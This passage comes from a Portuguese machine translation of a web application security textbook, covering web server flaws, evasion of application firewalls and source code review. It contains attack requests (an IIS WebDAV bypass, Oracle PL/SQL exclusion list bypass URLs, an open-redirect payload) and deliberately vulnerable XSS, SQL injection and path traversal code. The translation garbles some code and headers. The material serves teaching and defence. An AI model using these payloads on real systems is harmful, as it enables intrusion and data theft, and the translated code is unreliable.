O significado duradouro das vulnerabilidades de codificação e canonização no software de servidor da Web pode ser visto no ressurgimento de uma vulnerabilidade semelhante do IIS, dessa vez no WebDAV, em 2009. Um arquivo protegido pelo IIS poderia ser baixado inserindo-se uma string `%c0%af` nociva no URL. O IIS concede acesso a esse recurso porque ele não parece ser uma solicitação para o arquivo protegido. Mas a cadeia de caracteres não autorizada é posteriormente removida da solicitação:

```
GET /prote%c0%afcted/protected.zip HTTP/1.1
Traduzir: f
Conexão: fechada
Host: wahh-app.net
```

O cabeçalho `Translate: f` garante que essa solicitação seja tratada pela extensão WebDAV. O mesmo ataque pode ser realizado diretamente em uma solicitação WebDAV usando o seguinte:

```
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: wahh-app.net
User-Agent: neo/0.12.2 Conexão:
TE
TE: reboques
Profundidade:
1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executável xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
```

Para obter mais informações, consulte www.securityfocus.com/bid/34993/.

Desvios da lista de exclusão do Oracle PL/SQL

Lembre-se da perigosa funcionalidade padrão que era acessível por meio do gateway PL/SQL da Oracle. Para resolver esse problema, a Oracle criou a Lista de Exclusão PL/SQL,

que bloqueia o acesso a pacotes cujos nomes começam com determinadas expressões, como `OWA` e `SYS`.

Entre 2001 e 2007, David Litchfield descobriu uma série de desvios na Lista de Exclusão do PL/SQL. Na primeira vulnerabilidade, o filtro pode ser contornado com a colocação de espaços em branco (como uma nova linha, espaço ou tabulação) antes do nome do pacote:

```
https://wahh-app.com/pls/dad/%0ASYS.package.procedure
```

Isso ignora o filtro e o banco de dados back-end ignora o espaço em branco, fazendo com que o pacote perigoso seja executado.

Na segunda vulnerabilidade, o filtro pode ser contornado substituindo a letra Y por `%FF`, que representa o caractere ÿ:

```
https://wahh-app.com/pls/dad/S%FFS.package.procedure
```

Isso ignora o filtro, e o banco de dados de back-end canoniza o caractere de volta para um Y padrão, invocando assim o pacote perigoso.

Na terceira vulnerabilidade, o filtro pode ser contornado colocando uma expressão bloqueada entre aspas duplas:

```
https://wahh-app.com/pls/dad/"SYS".package.procedure
```

Isso ignora o filtro, e o banco de dados back-end tolera nomes de pacotes entre aspas, o que significa que o pacote perigoso é chamado.

Na quarta vulnerabilidade, o filtro pode ser contornado com o uso de colchetes angulares para colocar um rótulo `de goto` de programação antes da expressão bloqueada:

```
https://wahh-app.com/pls/dad/<<FOO>>SYS.package.procedure
```

Isso ignora o filtro. O banco de dados back-end ignora o rótulo `goto` e executa o pacote perigoso.

Cada uma dessas diferentes vulnerabilidades surge porque a filtragem de front-end é realizada por um componente com base em uma simples correspondência de padrões baseada em texto. O processamento subsequente é realizado por um componente diferente que segue suas próprias regras para interpretar o significado sintático e semântico da entrada. Qualquer diferença entre os dois conjuntos de regras pode representar uma oportunidade para que um invasor forneça uma entrada que não corresponda aos padrões usados no filtro, mas que o banco de dados interprete de forma que o pacote desejado pelo invasor seja invocado. Como o banco de dados Oracle é muito funcional, há muito espaço para o surgimento de diferenças desse tipo.

Mais informações sobre essas vulnerabilidades podem ser encontradas aqui:

- `www.securityfocus.com/archive/1/423819/100/0/threaded`
- *The Oracle Hacker's Handbook*, de David Litchfield (Wiley, 2007)

Sete anos depois

Um problema foi descoberto em 2008 no Portal Server (parte do Oracle Application Server). Um invasor com um valor de cookie de ID de sessão terminado em `%0A` poderia contornar a verificação padrão de autenticação básica.

Identificação de falhas no servidor da Web

Se tiver sorte, o servidor Web que você está atacando pode conter algumas das vulnerabilidades reais descritas neste capítulo. No entanto, o mais provável é que ele tenha sido corrigido para um nível mais recente, e você precisará procurar algo bastante atual ou novo para atacar o servidor.

Um bom ponto de partida para procurar vulnerabilidades em um produto pronto para uso, como um servidor Web, é usar uma ferramenta de varredura automatizada. Ao contrário dos aplicativos da Web, que geralmente são desenvolvidos de forma personalizada, quase todas as implantações de servidores da Web usam software de terceiros que foi instalado e configurado da mesma forma que inúmeras outras pessoas fizeram antes. Nessa situação, os scanners automatizados podem ser bastante eficazes para localizar rapidamente as vulnerabilidades mais comuns, enviando um grande número de solicitações criadas e monitorando as assinaturas que indicam a presença de vulnerabilidades conhecidas. O Nessus é um excelente verificador de vulnerabilidades gratuito, e há várias alternativas comerciais disponíveis.

Além de executar ferramentas de varredura, você deve sempre realizar sua própria pesquisa sobre o software que está atacando. Consulte recursos como o Security Focus, OSVDB e as listas de discussão Bugtraq e Full Disclosure para encontrar detalhes de quaisquer vulnerabilidades descobertas recentemente que possam não ter sido corrigidas em seu alvo. Sempre verifique o Exploit Database e o Metasploit para ver se alguém já fez o trabalho por você e também criou a exploração correspondente. Os URLs a seguir devem ajudar:

- `www.exploit-db.com`
- `www.metasploit.com/`
- `www.grok.org.uk/full-disclosure/`
- `http://osvdb.org/search/advsearch`

Você deve estar ciente de que alguns produtos de aplicativos Web incluem um servidor Web de código aberto, como o Apache ou o Jetty, como parte da instalação. As atualizações de segurança desses servidores incluídos podem ser aplicadas mais lentamente porque os administradores podem considerar o servidor como parte do aplicativo instalado, e não como parte da infraestrutura pela qual são responsáveis. A aplicação de uma atualização direta em vez de esperar pelo patch do fornecedor do aplicativo também pode invalidar os contratos de suporte. Portanto, a realização de alguns testes e pesquisas manuais no software pode ser altamente eficaz na identificação de defeitos que um scanner automatizado pode deixar passar.

Se possível, você deve considerar a possibilidade de realizar uma instalação local do software que está atacando e realizar seus próprios testes para encontrar novas vulnerabilidades que não tenham sido descobertas ou amplamente divulgadas.

Proteção do software do servidor da Web

Até certo ponto, uma organização que implanta um produto de servidor Web de terceiros inevitavelmente coloca seu destino nas mãos do fornecedor do software. No entanto, uma organização que se preocupa com a segurança pode fazer muito para se proteger contra os tipos de vulnerabilidades de software descritos neste capítulo.

Escolha um software com um bom histórico

Nem todos os produtos e fornecedores de software são iguais. Uma olhada no histórico recente de diferentes produtos de servidor revela algumas diferenças marcantes na quantidade de vulnerabilidades graves encontradas, no tempo que os fornecedores levaram para resolvê-las e na resistência das correções lançadas aos testes subsequentes dos pesquisadores. Antes de escolher o software de servidor Web a ser implantado, você deve investigar essas diferenças e considerar como a sua organização teria se saído nos últimos anos se tivesse usado cada tipo de software que está considerando.

Aplicar patches do fornecedor

Qualquer fornecedor de software decente deve lançar atualizações de segurança periodicamente. Às vezes, essas atualizações tratam de problemas que o próprio fornecedor descobriu internamente. Em outros casos, os problemas foram relatados por um pesquisador independente, que pode ou não ter guardado as informações para si. Outras vulnerabilidades são levadas ao conhecimento do fornecedor porque estão sendo ativamente exploradas na natureza. Mas, em todos os casos, assim que um patch é lançado, qualquer engenheiro reverso decente pode identificar rapidamente o problema que ele aborda, permitindo que os invasores desenvolvam explorações para o problema. Portanto, sempre que possível, as correções de segurança devem ser aplicadas o mais rápido possível após serem disponibilizadas.

Realizar a proteção da segurança

A maioria dos servidores Web tem várias opções configuráveis que controlam quais funcionalidades são ativadas e como elas se comportam. Se a funcionalidade não utilizada, como as extensões ISAPI padrão, for deixada ativada, seu servidor estará sujeito a um risco maior de ataque se novas vulnerabilidades forem descobertas nessa funcionalidade. Consulte os guias de fortalecimento específicos do software que você está usando, mas aqui estão algumas etapas genéricas a serem consideradas:

- Desative qualquer funcionalidade incorporada que não seja necessária e configure a funcionalidade restante para se comportar da forma mais restritiva possível, de acordo com seus requisitos comerciais. Isso pode incluir a remoção de extensões de arquivos mapeados, módulos de servidor da Web e componentes de banco de dados. Você pode usar ferramentas como o IIS Lockdown para facilitar essa tarefa.

- Se o aplicativo em si for composto por extensões adicionais de servidor personalizadas desenvolvidas em código nativo, considere se elas podem ser

reescrito usando código gerenciado. Se não for possível, certifique-se de que a validação de entrada adicional seja realizada pelo ambiente de código gerenciado antes de ser passada para essas funções.

- Muitas funções e recursos que você precisa reter podem ser renomeados a partir de seus valores padrão para apresentar uma barreira adicional à exploração. Mesmo que um atacante habilidoso ainda consiga descobrir o novo nome, essa medida de obscurecimento protege contra atacantes menos habilidosos e worms automatizados.
- Aplique o princípio do menor privilégio em toda a pilha de tecnologia. Por exemplo, a segurança de contêineres pode reduzir a superfície de ataque apresentada a um usuário de aplicativo padrão. O processo do servidor Web deve ser configurado para usar a conta de sistema operacional menos poderosa possível. Em sistemas baseados em UNIX, um ambiente `chrooted` pode ser usado para conter ainda mais o impacto de qualquer comprometimento.

Monitoramento de novas vulnerabilidades

Alguém em sua organização deve ser designado para monitorar recursos como Bugtraq e Full Disclosure para anúncios e discussões sobre novas vulnerabilidades no software que você está usando. Você também pode se inscrever em vários serviços privados para receber notificações antecipadas sobre vulnerabilidades conhecidas em softwares que ainda não foram divulgadas publicamente. Muitas vezes, se você conhecer os detalhes técnicos de uma vulnerabilidade, poderá implementar uma solução eficaz enquanto aguarda a liberação de uma correção completa pelo fornecedor.

Use o Defense-in-Depth

Você deve sempre implementar camadas de proteção para reduzir o impacto de uma violação de segurança em qualquer componente da sua infraestrutura. Você pode tomar várias medidas para ajudar a localizar o impacto de um ataque bem-sucedido ao seu servidor Web. Mesmo no caso de um comprometimento total, essas medidas podem lhe dar tempo suficiente para responder ao incidente antes que ocorra uma perda significativa de dados:

- É possível impor restrições aos recursos do servidor Web a partir de outros componentes autônomos do aplicativo. Por exemplo, a conta do banco de dados usada pelo aplicativo pode receber apenas acesso `INSERT` às tabelas usadas para armazenar logs de auditoria. Isso significa que um invasor que comprometa o servidor Web não poderá excluir nenhuma entrada de registro que já tenha sido criada.
- Você pode impor filtros rigorosos em nível de rede no tráfego de e para o servidor Web.
- Você pode usar um sistema de detecção de intrusão para identificar qualquer atividade anômala na rede que possa indicar a ocorrência de uma violação. Depois de com- prometer um servidor da Web, muitos invasores

tentam imediatamente criar

uma conexão reversa com a Internet ou procurar outros hosts na rede DMZ. Um IDS eficaz o notificará sobre esses eventos em tempo real, permitindo que você tome medidas para impedir o ataque.

Firewalls de aplicativos da Web

Muitos aplicativos são protegidos por um componente externo que reside no mesmo host que o aplicativo ou em um dispositivo baseado em rede. Eles podem ser classificados como executores de prevenção de intrusão (firewalls de aplicativos) ou de detecção (como os sistemas convencionais de detecção de intrusão). Devido às semelhanças na forma como esses dispositivos identificam os ataques, nós os trataremos de forma bastante intercambiável. Embora muitos argumentem que ter esses dispositivos é melhor do que não ter nada, em muitos casos eles podem criar uma falsa sensação de segurança na crença de que uma camada extra de defesa implica um aprimoramento automático da postura defensiva. É improvável que esse sistema diminua a segurança e pode ser capaz de impedir um ataque claramente definido, como um worm da Internet, mas, em outros casos, pode não estar melhorando a segurança tanto quanto às vezes se acredita.

Imediatamente, pode-se notar que, a menos que essas defesas empreguem regras altamente personalizadas, elas não protegem contra nenhuma das vulnerabilidades discutidas nos Capítulos 4 a 8 e não têm uso prático na defesa de possíveis falhas na lógica comercial (Capítulo 11). Elas também não têm nenhuma função a desempenhar na defesa contra alguns ataques específicos, como o XSS baseado em DOM (Capítulo 12). Para as vulnerabilidades restantes em que um possível padrão de ataque pode ser exibido, vários pontos geralmente diminuem a utilidade de um firewall de aplicativo da Web:

- Se o firewall seguir muito de perto as especificações HTTP, ele poderá fazer suposições sobre como o servidor de aplicativos tratará a solicitação. Por outro lado, os dispositivos de firewall ou IDS que têm suas origens nas defesas da camada de rede geralmente não entendem os detalhes de determinados métodos de transmissão HTTP.
- O próprio servidor de aplicativos pode modificar a entrada do usuário decodificando-a, adicionando caracteres de escape ou filtrando cadeias de caracteres específicas durante o atendimento de uma solicitação após a passagem pelo firewall. Muitas das etapas de ataque descritas nos capítulos anteriores têm como objetivo contornar a validação de entrada, e os firewalls da camada de aplicativos podem ser suscetíveis aos mesmos tipos de ataques.
- Muitos firewalls e IDSs alertam com base em cargas de ataque comuns específicas, e não na exploração geral de uma vulnerabilidade. Se um invasor puder recuperar um arquivo arbitrário do sistema de arquivos, uma solicitação para `/manager/viewtempl?loc=/etc/passwd` provavelmente será bloqueada, ao passo que uma solicitação para `/manager/viewtempl?loc=/var/log/syslog` não seria considerada um ataque, embora seu conteúdo possa ser mais útil para um invasor.

Em um nível mais alto, não precisamos distinguir entre um filtro de validação de entrada global, um agente baseado em host ou um firewall de aplicativo da Web baseado em rede. As etapas a seguir se aplicam a todos em igual medida.

ETAPAS DO HACK

A presença de um firewall de aplicativo da Web pode ser deduzida por meio das etapas a seguir:

1. Envie um nome de parâmetro arbitrário para o aplicativo com uma carga útil de ataque clara no valor, de preferência em algum lugar onde o aplicativo inclua o nome e/ou o valor na resposta. Se o aplicativo bloquear o ataque, isso provavelmente se deve a uma defesa externa.
2. Se for possível enviar uma variável que seja retornada em uma resposta do servidor, submeta uma série de strings de fuzz e variantes codificadas para identificar o comportamento das defesas do aplicativo em relação à entrada do usuário.
3. Confirme esse comportamento executando os mesmos ataques em variáveis dentro do aplicativo.

Você pode tentar as seguintes cadeias de caracteres para tentar contornar um firewall de aplicativo da Web:

1. Para todas as solicitações e cadeias de caracteres de fuzzing, use cadeias de caracteres benignas para cargas úteis que provavelmente não existirão em um banco de dados de assinaturas padrão. Não é possível, por definição, dar exemplos disso. Mas você deve evitar o uso de **`/etc/passwd`** ou **`/windows/system32/config/sam`** como cargas úteis para recuperação de arquivos. Evite também usar termos como **`<script>`** em um ataque XSS e usar **`alert()`** ou **`xss`** como cargas úteis XSS.
2. Se uma determinada solicitação for bloqueada, tente enviar o mesmo parâmetro em um local ou contexto diferente. Por exemplo, envie o mesmo parâmetro no URL em uma solicitação **`GET`**, no corpo de uma solicitação **`POST`** e no URL em uma solicitação **`POST`**.
3. No ASP.NET, tente também enviar o parâmetro como um cookie. A API **`Request.Params["foo"]`** recupera o valor de um cookie chamado **`foo`** se o parâmetro **`foo`** não for encontrado na string de consulta ou no corpo da mensagem.
4. Analise todos os outros métodos de introdução de entrada do usuário fornecidos no Capítulo 4, escolhendo qualquer um que não esteja protegido.
5. Determine os locais em que a entrada do usuário é (ou pode ser) enviada em um formato fora do padrão, como serialização ou codificação. Se não houver nenhum disponível, crie a string de ataque por meio de concatenação e/ou abrangendo-a em várias variáveis. (Observe que, se o alvo for o ASP.NET, você poderá usar o HPP para concatenar o ataque usando várias especificações da mesma variável).

Muitas organizações que implantam firewalls de aplicativos da Web ou IDSs não os testam especificamente de acordo com uma metodologia como a descrita

nesta seção. Como resultado, muitas vezes vale a pena perseverar em um ataque contra esses dispositivos.

Resumo

Assim como os outros componentes nos quais um aplicativo Web é executado, o servidor Web representa uma área significativa de superfície de ataque por meio da qual um aplicativo pode ser comprometido. Defeitos em um servidor de aplicativos podem, muitas vezes, prejudicar diretamente a segurança de um aplicativo, dando acesso a listas de diretórios, código-fonte de páginas executáveis, configuração confidencial e dados de tempo de execução, além da capacidade de contornar filtros de entrada.

Devido à grande variedade de produtos e versões de servidores de aplicativos, a localização de vulnerabilidades em servidores Web geralmente envolve algum reconhecimento e pesquisa. No entanto, essa é uma área em que as ferramentas de varredura automatizada podem ser altamente eficazes para localizar rapidamente as vulnerabilidades conhecidas na configuração e no software do servidor que você está atacando.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Em que circunstâncias um servidor da Web exibe uma listagem de diretórios?
2. Para que são usados os métodos WebDAV e por que eles podem ser perigosos?
3. Como você pode explorar um servidor da Web que está configurado para atuar como um proxy da Web?
4. O que é a Lista de Exclusão do Oracle PL/SQL e como ela pode ser contornada?
5. Se um servidor da Web permitir o acesso à sua funcionalidade por HTTP e HTTPS, há alguma vantagem em usar um protocolo em vez do outro quando você estiver procurando vulnerabilidades?

CAPÍTULO

19

Identificação de vulnerabilidades em Código-fonte

Até agora, todas as técnicas de ataque que descrevemos envolveram a interação com um aplicativo em execução ao vivo e consistiram, em grande parte, no envio de entradas criadas para o aplicativo e no monitoramento de suas respostas. Este capítulo examina uma abordagem totalmente diferente para encontrar vulnerabilidades: a análise do código-fonte do aplicativo.

Em várias situações, pode ser possível realizar uma auditoria de código-fonte para ajudar a atacar um aplicativo da Web de destino:

- Alguns aplicativos são de código aberto ou usam componentes de código aberto, o que permite que você baixe o código do repositório relevante e procure vulnerabilidades nele.
- Se você estiver realizando um teste de penetração em um contexto de consultoria, o proprietário do aplicativo poderá conceder acesso ao código-fonte dele para maximizar a eficácia da auditoria.
- Você pode descobrir uma vulnerabilidade de divulgação de arquivos em um aplicativo que permite o download do seu código-fonte (parcial ou totalmente).
- A maioria dos aplicativos usa algum código no lado do cliente, como JavaScript, que pode ser acessado sem exigir nenhum acesso privilegiado.

Muitas vezes, acredita-se que, para realizar uma revisão de código, é necessário ser um programador experiente e ter conhecimento detalhado da linguagem que está sendo usada. No entanto, isso não precisa ser assim. Muitas linguagens de alto nível podem ser lidas

e compreendidas por alguém com pouca experiência em programação. Além disso, muitos tipos de vulnerabilidades se manifestam da mesma forma em todas as linguagens comumente usadas para aplicativos da Web. A maioria das revisões de código pode ser realizada usando uma metodologia padrão. Você pode usar uma folha de dicas para ajudar a entender a sintaxe e as APIs relevantes que são específicas da linguagem e do ambiente com os quais está lidando. Este capítulo descreve a metodologia principal que você precisa seguir e fornece folhas de dicas para algumas das linguagens que você provavelmente encontrará.

Abordagens para revisão de código

Você pode adotar uma variedade de abordagens para realizar uma revisão de código para ajudar a maximizar sua eficácia na descoberta de falhas de segurança dentro do tempo disponível. Além disso, muitas vezes é possível integrar a revisão do código a outras abordagens de teste para aproveitar os pontos fortes inerentes a cada uma delas.

Teste de caixa preta versus teste de caixa branca

A metodologia de ataque descrita nos capítulos anteriores é frequentemente descrita como uma abordagem de *caixa preta* para testes. Isso envolve atacar o aplicativo de fora e monitorar suas entradas e saídas, sem conhecimento prévio de seu funcionamento interno. Por outro lado, uma abordagem *de caixa branca* envolve examinar os aspectos internos do aplicativo, com acesso total à documentação do projeto, ao código-fonte e a outros materiais.

A realização de uma revisão de código de caixa branca pode ser uma maneira altamente eficaz de descobrir vulnerabilidades em um aplicativo. Com acesso ao código-fonte, muitas vezes é possível localizar rapidamente problemas que seriam extremamente difíceis ou demorados de detectar usando apenas técnicas de caixa preta. Por exemplo, uma senha backdoor que concede acesso a qualquer conta de usuário pode ser fácil de identificar pela leitura do código, mas quase impossível de detectar usando um ataque de adivinhação de senha.

Entretanto, a revisão do código geralmente não é um substituto eficaz para o teste de caixa preta. É claro que, em um sentido, todas as vulnerabilidades em um aplicativo estão "no código-fonte", portanto, em princípio, deve ser possível localizar todas essas vulnerabilidades por meio da revisão do código. Entretanto, muitas vulnerabilidades podem ser descobertas com mais rapidez e eficiência usando métodos de caixa preta. Usando as técnicas de fuzzing automatizadas descritas no Capítulo 14, é possível enviar a um aplicativo centenas de casos de teste por minuto, que se propagam por todos os caminhos de código relevantes e retornam uma resposta imediatamente. Ao enviar acionadores de vulnerabilidades comuns para todos os campos de todos os formulários, muitas vezes é possível encontrar em minutos uma série de problemas que levariam dias para serem descobertos por meio da revisão do código. Além disso, muitos aplicativos de classe empresarial têm uma estrutura complexa com vários

camadas de processamento da entrada fornecida pelo usuário. Diferentes controles e verificações são implementados em cada camada, e o que parece ser uma clara vulnerabilidade em uma parte do código-fonte pode ser totalmente atenuado por outro código.

Na maioria das situações, as técnicas de caixa preta e caixa branca podem se complementar e melhorar uma à outra. Muitas vezes, depois de encontrar uma vulnerabilidade prima facie por meio da revisão do código, a maneira mais fácil e eficaz de estabelecer se ela é real é testá-la no aplicativo em execução. Por outro lado, depois de identificar algum comportamento anômalo em um aplicativo em execução, muitas vezes a maneira mais fácil de investigar sua causa raiz é analisar o código-fonte relevante. Portanto, se possível, você deve procurar combinar uma combinação adequada de técnicas de caixa preta e branca. Permita que o tempo e o esforço que você dedica a cada uma delas sejam orientados pelo comportamento do aplicativo durante os testes práticos e pelo tamanho e complexidade da base de código.

Metodologia de revisão de código

Qualquer aplicativo razoavelmente funcional provavelmente conterá muitos milhares de linhas de código-fonte e, na maioria dos casos, o tempo disponível para você revisá-lo provavelmente será restrito, talvez apenas alguns dias. Portanto, um dos principais objetivos de uma análise de código eficaz é identificar o maior número possível de vulnerabilidades de segurança, considerando um determinado período de tempo e esforço. Para isso, você deve adotar uma abordagem estruturada, usando várias técnicas para garantir que os "frutos mais fáceis" da base de código sejam identificados rapidamente, deixando tempo para procurar problemas mais sutis e difíceis de detectar.

Na experiência dos autores, uma abordagem tripla para auditar uma base de código de aplicativo da Web é eficaz para identificar vulnerabilidades de forma rápida e fácil. Essa metodologia compreende os seguintes elementos:

1. Rastreamento de dados controláveis pelo usuário a partir de seus pontos de entrada no aplicativo e revisão do código responsável por processá-los.
2. Pesquisar a base de código em busca de assinaturas que possam indicar a presença de vulnerabilidades comuns e analisar essas instâncias para determinar se existe uma vulnerabilidade real.
3. Realizar uma revisão linha por linha do código inerentemente arriscado para entender a lógica do aplicativo e encontrar quaisquer problemas que possam existir nele. Os componentes funcionais que podem ser selecionados para essa análise minuciosa incluem os principais mecanismos de segurança do aplicativo (autenticação, gerenciamento de sessão, controle de acesso e qualquer validação de entrada em todo o aplicativo), interfaces com componentes externos e quaisquer instâncias em que o código nativo seja usado (normalmente C/C++).

Começaremos analisando as maneiras pelas quais várias vulnerabilidades comuns de aplicativos da Web aparecem no nível do código-fonte e como elas podem ser

mais facilmente identificadas ao realizar uma revisão. Isso proporcionará uma maneira de pesquisar a base de código em busca de assinaturas de vulnerabilidades (etapa 2) e analisar de perto as áreas de risco do código (etapa 3).

Em seguida, examinaremos algumas das linguagens de desenvolvimento da Web mais populares para identificar as maneiras pelas quais um aplicativo adquire dados enviados pelo usuário (por meio de parâmetros de solicitação, cookies e assim por diante). Também veremos como um aplicativo interage com a sessão do usuário, as APIs potencialmente perigosas que existem em cada linguagem e as maneiras pelas quais a configuração e o ambiente de cada linguagem podem afetar a segurança do aplicativo. Isso fornecerá uma maneira de rastrear os dados controláveis pelo usuário desde o ponto de entrada até o aplicativo (etapa 1), bem como fornecerá algum contexto por idioma para ajudar nas outras etapas da metodologia. Por fim, discutiremos algumas ferramentas que são úteis ao realizar a revisão de código.

OBSERVAÇÃO Ao realizar uma auditoria de código, você deve sempre ter em mente que os aplicativos podem estender classes e interfaces de bibliotecas, podem implementar wrappers para chamadas de API padrão e podem implementar mecanismos personalizados para tarefas críticas para a segurança, como o armazenamento de informações por sessão. Antes de entrar nos detalhes de uma revisão de código, você deve estabelecer a extensão dessa personalização e adaptar sua abordagem à revisão de acordo.

Assinaturas de vulnerabilidades comuns

Muitos tipos de vulnerabilidades de aplicativos da Web têm uma assinatura bastante consistente na base de código. Isso significa que, normalmente, você pode identificar uma boa parte das vulnerabilidades de um aplicativo fazendo uma rápida varredura e pesquisa na base de código. Os exemplos apresentados aqui aparecem em várias linguagens, mas, na maioria dos casos, a assinatura é neutra em termos de linguagem. O que importa é a técnica de programação que está sendo empregada, mais do que as APIs e a sintaxe reais.

Scripting entre sites

Nos exemplos mais óbvios de XSS, partes do HTML retornado ao usuário são explicitamente construídas a partir de dados controláveis pelo usuário. Aqui, o destino de um link `HREF` é construído usando strings extraídas diretamente da string de consulta na solicitação:

```
String link = "<a href=" + HttpUtility.UrlDecode(Request.QueryString
["refURL"]) + "&SiteID=" + SiteId + "&Path=" + HttpUtility.UrlEncode
(Request.QueryString["Path"]) + "</a>";
objCell.InnerHtml = link;
```

A solução usual para scripts entre sites, que é codificar em HTML o conteúdo

potencialmente malicioso, não pode ser aplicada posteriormente ao conteúdo concatenado resultante

porque ela já contém marcação HTML válida. Qualquer tentativa de sanitizar os dados quebraria o aplicativo ao codificar o HTML que o próprio aplicativo especificou. Portanto, o exemplo é certamente vulnerável, a menos que haja filtros em outro lugar que bloqueiem solicitações que contenham explorações de XSS na string de consulta. Essa abordagem baseada em filtros para impedir ataques XSS geralmente é falha. Se ela estiver presente, você deve analisá-la atentamente para identificar formas de contorná-la (consulte o Capítulo 12).

Em casos mais sutis, os dados controláveis pelo usuário são usados para definir o valor de uma variável que é usada posteriormente para criar a resposta ao usuário. Aqui, a variável de membro de classe `m_pageTitle` é definida como um valor extraído da string de consulta da solicitação. Ela provavelmente será usada mais tarde para criar o elemento `<title>` na página HTML retornada:

```
private void setPageTitle(HttpServletRequest request) throws
    ServletException
{
    String requestType = request.getParameter("type");

    Se ("3".equals(requestType) && null!=request.getParameter("title")) m_pageTitle =
        request.getParameter("title");

    else m_pageTitle = "Aplicativo de banco on-line";
}
```

Ao encontrar um código como esse, você deve analisar atentamente o processamento realizado posteriormente na variável `m_pageTitle`. Você deve ver como ela é incorporada à página retornada para determinar se os dados estão adequadamente codificados para evitar ataques de XSS.

O exemplo anterior demonstra claramente o valor de uma revisão de código para encontrar algumas vulnerabilidades. A falha de XSS pode ser acionada somente se um parâmetro diferente (`tipo`) tiver um valor específico (`3`). O teste padrão de fuzz e a verificação de vulnerabilidades da solicitação relevante podem não detectar a vulnerabilidade.

Injeção de SQL

As vulnerabilidades de injeção de SQL surgem mais comumente quando várias cadeias de caracteres codificadas são concatenadas com dados controláveis pelo usuário para formar uma consulta SQL, que é então executada no banco de dados. Aqui, uma consulta é construída usando dados extraídos diretamente da string de consulta da solicitação:

```
StringBuilder SqlQuery = newStringBuilder("SELECT name, accno FROM
TblCustomers WHERE " + SqlWhere);

if(Request.QueryString["CID"] != null &&
    Request.QueryString["PageId"] == "2")
{
    SqlQuery.Append(" AND CustomerID = ");
```

```
    SqlQuery.Append(Request.QueryString["CID"].ToString());
}
...
```

Uma maneira simples de identificar rapidamente esse tipo de fruto mais fácil na base de código é pesquisar no código-fonte as substrings codificadas, que geralmente são usadas para construir consultas a partir da entrada fornecida pelo usuário. Essas substrings geralmente consistem em trechos de SQL e são citadas no código-fonte, portanto, pode ser proveitoso pesquisar padrões apropriados compostos de aspas, palavras-chave SQL e espaços. Por exemplo:

```
"SELECT
"INSERT
"DELETE
" E
" OU
" ONDE
" ORDER BY
```

Em cada caso, você deve verificar se essas cadeias de caracteres estão sendo concatenadas com dados controláveis pelo usuário de uma forma que introduza vulnerabilidades de injeção de SQL. Como as palavras-chave SQL são processadas sem distinção entre maiúsculas e minúsculas, as buscas por esses termos também devem ser sem distinção entre maiúsculas e minúsculas. Observe que um espaço pode ser anexado a cada um desses termos de pesquisa para reduzir a incidência de falsos positivos nos resultados.

Transversão de caminho

A assinatura usual para vulnerabilidades de path traversal envolve a passagem de entrada controlável pelo usuário para uma API do sistema de arquivos sem qualquer validação da entrada ou verificação de que um arquivo apropriado foi selecionado. No caso mais comum, os dados do usuário são anexados a um caminho de diretório codificado ou especificado pelo sistema, permitindo que um invasor use sequências de pontos e barras para subir na árvore de diretórios e acessar arquivos em outros diretórios. Por exemplo:

```
byte[] GetAttachment(HttpRequest Request)
{
    FileStream fsAttachment = new FileStream(SpreadsheetPath +
        HttpUtility.UrlDecode(Request.QueryString["AttachName"]), FileMode.Open,
        FileAccess.Read, FileShare.Read);

    byte[] bAttachment = novo byte[fsAttachment.Length];
    fsAttachment.Read(FileContent, 0,
        Convert.ToInt32(fsAttachment.Length, CultureInfo.CurrentCulture));

    fsAttachment.Close();
```

```
    return bAttachment;
}
```

Você deve analisar cuidadosamente qualquer funcionalidade de aplicativo que permita aos usuários fazer upload ou download de arquivos. É preciso entender como as APIs do sistema de arquivos estão sendo invocadas em resposta aos dados fornecidos pelo usuário e determinar se uma entrada criada pode ser usada para acessar arquivos em um local não intencional. Em geral, você pode identificar rapidamente a funcionalidade relevante pesquisando na base de código os nomes de quaisquer parâmetros de string de consulta relacionados a nomes de arquivos (`AttachName` no exemplo atual). Você também pode pesquisar todas as APIs de arquivo na linguagem relevante e analisar os parâmetros passados a elas. (Consulte as seções posteriores para obter listas das APIs relevantes em idiomas comuns).

Redirecionamento arbitrário

Vários vetores de phishing, como redirecionamentos arbitrários, geralmente são fáceis de detectar por meio de assinaturas no código-fonte. Neste exemplo, os dados fornecidos pelo usuário a partir da string de consulta são usados para construir um URL para o qual o usuário é redirecionado:

```
private void handleCancel()
{
    httpResponse.Redirect(HttpUtility.UrlDecode(Request.QueryString[
        "refURL"]) + "&SiteCode=" +
        Request.QueryString["SiteCode"].ToString() +
        "&UserId=" + Request.QueryString["UserId"].ToString());
}
```

Muitas vezes, é possível encontrar redirecionamentos arbitrários inspecionando o código do lado do cliente, o que, obviamente, não requer nenhum acesso especial aos componentes internos do aplicativo. Aqui, o JavaScript é usado para extrair um parâmetro da string de consulta do URL e, por fim, redirecionar para ele:

```
url = document.URL;

index = url.indexOf('?redir=');
target = unescape(url.substring(index + 7, url.length));
target = unescape(target);

Se ((index = target.indexOf('//')) > 0) {
    target = target.substring (index + 2, target.length);
    index = target.indexOf('/');
    target = target.substring(index, target.length);
}
target = unescape(target);
document.location = target;
```

Como você pode ver, o autor desse script sabia que ele era um alvo em potencial para ataques de redirecionamento para um URL absoluto em um domínio externo. O script

verifica se o URL de redirecionamento contém uma barra dupla (como em http://). Se isso acontecer, o script pulará a barra dupla para a primeira barra simples, convertendo-a em um URL relativo. Entretanto, o script faz uma chamada final para a função `unescape()`, que descompacta todos os caracteres codificados pelo URL. A execução da canonização após a validação geralmente leva a uma vulnerabilidade (consulte o Capítulo 2). Nesse caso, um invasor pode causar um redirecionamento para um URL absoluto arbitrário com a seguinte string de consulta:

```
?redir=http:%25252f%25252fwahh-attacker.com
```

Injeção de comando do sistema operacional

O código que faz interface com sistemas externos geralmente contém assinaturas que indicam falhas de injeção de código. No exemplo a seguir, os parâmetros de `mensagem` e `endereço` foram extraídos de dados de formulário controláveis pelo usuário e são passados diretamente para uma chamada à API `do sistema` UNIX:

```
void send_mail(const char *message, const char *addr)
{
    char sendMailCmd[4096];
